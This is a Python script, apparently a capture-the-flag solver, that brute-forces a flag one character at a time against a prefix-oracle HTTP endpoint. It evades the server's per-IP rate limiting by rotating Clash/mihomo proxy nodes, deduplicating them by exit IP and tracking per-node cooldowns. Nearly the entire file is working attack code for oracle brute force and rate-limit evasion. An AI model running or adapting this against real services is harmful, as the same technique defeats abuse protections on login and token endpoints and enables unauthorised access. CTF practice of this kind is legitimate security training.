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|
#!/usr/bin/env python3
import argparse
import json
import math
import re
import string
import subprocess
import sys
import time
from dataclasses import dataclass
from pathlib import Path
from typing import Any
from urllib.parse import quote
NON_LEAF_TYPES = {
"Compatible",
"Direct",
"Fallback",
"LoadBalance",
"Pass",
"Reject",
"RejectDrop",
"Selector",
"URLTest",
}
DEFAULT_CHARSET = string.ascii_letters + string.digits + "_}"
DEFAULT_IP_CHECK_URLS = [
"https://api.ip.sb/ip",
"https://ipv4.icanhazip.com",
"https://ifconfig.me/ip",
]
def log(message: str) -> None:
print(message, flush=True)
def run_curl(cmd: list[str], timeout: float) -> str:
try:
proc = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=timeout + 2,
check=False,
)
except subprocess.TimeoutExpired as exc:
raise RuntimeError(f"curl timed out after {timeout}s") from exc
if proc.returncode != 0:
detail = proc.stderr.strip() or proc.stdout.strip() or f"exit={proc.returncode}"
raise RuntimeError(detail)
return proc.stdout
class MihomoController:
def __init__(
self,
*,
socket_path: str | None,
controller_url: str | None,
secret: str | None,
timeout: float,
) -> None:
if not socket_path and not controller_url:
raise ValueError("controller socket or controller URL is required")
self.socket_path = socket_path
self.controller_url = controller_url.rstrip("/") if controller_url else None
self.secret = secret
self.timeout = timeout
def _base_cmd(self) -> list[str]:
cmd = ["curl", "-sS", "--max-time", str(self.timeout)]
if self.secret:
cmd += ["-H", f"Authorization: Bearer {self.secret}"]
return cmd
def _url(self, path: str) -> str:
if self.controller_url:
return f"{self.controller_url}{path}"
return f"http://localhost{path}"
def request(self, method: str, path: str, data: dict[str, Any] | None = None) -> Any:
cmd = self._base_cmd()
if self.socket_path:
cmd += ["--unix-socket", self.socket_path]
cmd += ["-X", method.upper()]
if data is not None:
cmd += [
"-H",
"Content-Type: application/json",
"--data",
json.dumps(data, ensure_ascii=True),
]
cmd.append(self._url(path))
output = run_curl(cmd, self.timeout)
return json.loads(output) if output.strip() else {}
def get_proxies(self) -> dict[str, Any]:
data = self.request("GET", "/proxies")
return data["proxies"]
def switch(self, group: str, node: str) -> None:
path = f"/proxies/{quote(group, safe='')}"
self.request("PUT", path, {"name": node})
@dataclass
class GuessResult:
status: str
body: str
http_code: int
retry_after: int | None = None
def parse_retry_after(text: str) -> int | None:
match = re.search(r"retry\s+in\s+(\d+)\s*(ms|msec|milliseconds|s|sec|secs|seconds)?", text, re.I)
if not match:
return None
value = int(match.group(1))
unit = (match.group(2) or "s").lower()
if unit.startswith("ms") or unit.startswith("msec"):
return max(1, math.ceil(value / 1000))
return max(1, value)
def query_flag(url: str, proxy: str, guess: str, timeout: float) -> GuessResult:
cmd = [
"curl",
"-sS",
"--max-time",
str(timeout),
"-x",
proxy,
"--get",
"--data-urlencode",
f"guess={guess}",
"-w",
"\n%{http_code}",
url,
]
output = run_curl(cmd, timeout)
body, _, code_text = output.rpartition("\n")
http_code = int(code_text) if code_text.isdigit() else 0
body = body.strip()
try:
payload = json.loads(body)
except json.JSONDecodeError:
payload = None
if isinstance(payload, dict) and payload.get("result") == "correct":
return GuessResult("correct", body, http_code)
if isinstance(payload, dict) and payload.get("result") == "incorrect":
return GuessResult("incorrect", body, http_code)
retry_after = parse_retry_after(body)
if retry_after is not None or http_code == 429:
return GuessResult("rate_limited", body, http_code, retry_after=retry_after)
if not body or http_code == 0:
return GuessResult("retryable", body, http_code)
return GuessResult("unknown", body, http_code)
def probe_exit_ip(proxy: str, timeout: float, urls: list[str]) -> str | None:
for url in urls:
cmd = [
"curl",
"-sS",
"--max-time",
str(timeout),
"-x",
proxy,
url,
]
try:
output = run_curl(cmd, timeout).strip()
except RuntimeError:
continue
match = re.search(r"\b(?:\d{1,3}\.){3}\d{1,3}\b", output)
if match:
return match.group(0)
return None
class NodePool:
def __init__(self, nodes: list[str]) -> None:
if not nodes:
raise ValueError("node pool is empty")
self.nodes = nodes
self.index = -1
self.cooldowns: dict[str, float] = {}
def mark_cooldown(self, node: str, seconds: int) -> None:
self.cooldowns[node] = time.time() + max(1, seconds)
def next_ready(self) -> str:
while True:
now = time.time()
for _ in range(len(self.nodes)):
self.index = (self.index + 1) % len(self.nodes)
node = self.nodes[self.index]
if self.cooldowns.get(node, 0) <= now:
return node
wait_for = min(self.cooldowns.values()) - now
sleep_for = max(1, math.ceil(wait_for))
log(f"[*] all nodes cooling down, sleeping {sleep_for}s")
time.sleep(sleep_for)
def load_nodes(
controller: MihomoController,
group: str,
*,
only_alive: bool,
) -> list[str]:
proxies = controller.get_proxies()
if group not in proxies:
raise SystemExit(f"group not found in controller: {group}")
names = proxies[group].get("all", [])
nodes: list[str] = []
for name in names:
meta = proxies.get(name)
if not meta:
continue
if meta.get("type") in NON_LEAF_TYPES:
continue
if only_alive and not meta.get("alive", False):
continue
nodes.append(name)
return nodes
def save_state(path: Path, prefix: str, node: str | None) -> None:
path.write_text(
json.dumps({"prefix": prefix, "node": node, "updated_at": int(time.time())}, indent=2) + "\n",
encoding="utf-8",
)
def load_state(path: Path) -> dict[str, Any] | None:
if not path.exists():
return None
try:
return json.loads(path.read_text(encoding="utf-8"))
except json.JSONDecodeError:
return None
def build_parser() -> argparse.ArgumentParser:
parser = argparse.ArgumentParser(
description="Rotate Clash Verge / mihomo nodes and brute-force a prefix oracle flag."
)
parser.add_argument("--url", default="http://23.179.17.92:5559/api/flag")
parser.add_argument("--proxy", default="http://127.0.0.1:7897")
parser.add_argument("--group", default="GLOBAL")
parser.add_argument("--controller-socket", default="/tmp/verge/verge-mihomo.sock")
parser.add_argument("--controller-url", default=None)
parser.add_argument("--secret", default=None)
parser.add_argument("--start", default="CIT{")
parser.add_argument("--charset", default=DEFAULT_CHARSET)
parser.add_argument("--node-budget", type=int, default=1)
parser.add_argument("--switch-delay", type=float, default=1.0)
parser.add_argument("--timeout", type=float, default=12.0)
parser.add_argument("--default-cooldown", type=int, default=180)
parser.add_argument("--error-cooldown", type=int, default=45)
parser.add_argument("--max-length", type=int, default=128)
parser.add_argument("--state-file", default="flag_state.json")
parser.add_argument("--nodes", default=None, help="comma-separated manual node list")
parser.add_argument(
"--ip-check-urls",
default=",".join(DEFAULT_IP_CHECK_URLS),
help="comma-separated URLs used to discover each node's exit IP",
)
parser.add_argument(
"--dedupe-exit-ip",
dest="dedupe_exit_ip",
action="store_true",
default=True,
help="keep one representative node per observed exit IP",
)
parser.add_argument(
"--no-dedupe-exit-ip",
dest="dedupe_exit_ip",
action="store_false",
help="disable exit IP deduplication",
)
parser.add_argument("--include-dead", action="store_true")
parser.add_argument("--list-nodes", action="store_true")
parser.add_argument("--no-resume", action="store_true")
return parser
def main() -> int:
args = build_parser().parse_args()
controller = MihomoController(
socket_path=args.controller_socket,
controller_url=args.controller_url,
secret=args.secret,
timeout=args.timeout,
)
if args.nodes:
nodes = [item.strip() for item in args.nodes.split(",") if item.strip()]
else:
nodes = load_nodes(controller, args.group, only_alive=not args.include_dead)
if args.list_nodes:
for node in nodes:
print(node)
return 0
ip_check_urls = [item.strip() for item in args.ip_check_urls.split(",") if item.strip()]
if args.dedupe_exit_ip:
unique_nodes: list[str] = []
seen_ips: dict[str, str] = {}
log("[*] probing node exit IPs for dedupe")
for node in nodes:
try:
controller.switch(args.group, node)
except Exception as exc:
log(f"[!] failed to switch to {node}: {exc}")
continue
time.sleep(args.switch_delay)
ip = probe_exit_ip(args.proxy, args.timeout, ip_check_urls)
if not ip:
log(f"[!] could not determine exit IP for {node}, keeping it as fallback candidate")
unique_nodes.append(node)
continue
if ip in seen_ips:
log(f"[-] drop {node}: shared exit IP {ip} with {seen_ips[ip]}")
continue
seen_ips[ip] = node
unique_nodes.append(node)
log(f"[+] keep {node}: exit IP {ip}")
if unique_nodes:
nodes = unique_nodes
log(f"[*] deduped node pool size: {len(nodes)}")
state_path = Path(args.state_file)
prefix = args.start
if not args.no_resume:
state = load_state(state_path)
if state and isinstance(state.get("prefix"), str) and len(state["prefix"]) >= len(prefix):
prefix = state["prefix"]
if len(prefix) >= args.max_length:
log(f"[!] prefix already reached max length: {prefix}")
return 1
log(f"[*] starting from prefix: {prefix}")
log(f"[*] node pool size: {len(nodes)}")
pool = NodePool(nodes)
current_node: str | None = None
remaining_budget = 0
while len(prefix) < args.max_length and not prefix.endswith("}"):
found_next = False
for ch in args.charset:
candidate = prefix + ch
while True:
if current_node is None or remaining_budget <= 0:
current_node = pool.next_ready()
controller.switch(args.group, current_node)
remaining_budget = args.node_budget
log(f"[*] switched {args.group} -> {current_node}")
time.sleep(args.switch_delay)
try:
result = query_flag(args.url, args.proxy, candidate, args.timeout)
except RuntimeError as exc:
log(f"[!] request error via {current_node}: {exc}")
pool.mark_cooldown(current_node, args.error_cooldown)
current_node = None
continue
if result.status == "rate_limited":
cooldown = result.retry_after or args.default_cooldown
log(f"[!] rate limited on {current_node}: cooldown {cooldown}s; body={result.body}")
pool.mark_cooldown(current_node, cooldown)
current_node = None
remaining_budget = 0
continue
if result.status == "retryable":
log(f"[!] empty or failed response via {current_node}, retrying candidate on another node")
pool.mark_cooldown(current_node, args.error_cooldown)
current_node = None
remaining_budget = 0
continue
if result.status == "unknown":
log(f"[!] unexpected response via {current_node}: {result.body!r}")
pool.mark_cooldown(current_node, args.error_cooldown)
current_node = None
remaining_budget = 0
continue
remaining_budget -= 1
log(f"[?] {candidate} -> {result.status} (node={current_node}, left={remaining_budget})")
if result.status == "correct":
prefix = candidate
save_state(state_path, prefix, current_node)
log(f"[+] prefix = {prefix}")
found_next = True
break
if found_next:
break
if not found_next:
log(f"[!] no matching character found for prefix: {prefix}")
return 2
if prefix.endswith("}"):
log(f"[+] flag = {prefix}")
save_state(state_path, prefix, current_node)
return 0
log(f"[!] stopped at max length without closing brace: {prefix}")
save_state(state_path, prefix, current_node)
return 3
if __name__ == "__main__":
sys.exit(main())
|
